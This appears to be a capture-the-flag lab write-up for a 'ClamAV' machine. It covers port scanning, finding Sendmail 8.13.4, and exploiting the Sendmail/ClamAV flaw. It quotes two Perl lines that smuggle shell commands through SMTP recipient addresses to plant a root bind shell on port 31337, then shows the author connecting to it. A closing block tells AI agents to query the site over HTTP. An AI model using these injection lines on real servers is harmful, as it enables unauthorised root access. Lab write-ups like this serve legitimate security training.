# ClamAV

## Information Gathering

### Service Enumeration

`nmapAutomator.sh -H 192.168.66.42 -t full`

`nmapAutomator.sh -H 192.168.66.42 -t vulns`

### HTTP (80)

There is a page with a binary message.

![](/files/-MaczfSrZf1bh8OtU4h9)

Challenge accepted!

![](/files/-MaczdpIlJcnAJtBlVzg)

### SMTP (25)

We can see that Sendmail 8.13.4 is used.

![](/files/-MaczxUgBNv2CmJMWv4a)

## Exploitation

We find the following Sendmail + ClamAV RCE exploit:

{% embed url="<https://www.exploit-db.com/exploits/4761>" %}

The two lines in the Perl script:

```perl
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
```

appear to open port 31337 as a root shell.

After running the script, the port is indeed open.

![](/files/-Mad-5ti1gQBEUM0D3Wv)

Upon connecting to the bind shell, use `bash -i` to upgrade to a fully interactive shell.

![](/files/-Mad-KOdVd5e8rq-RMra)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.zeyu2001.com/proving-grounds/warm-up/clamav.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
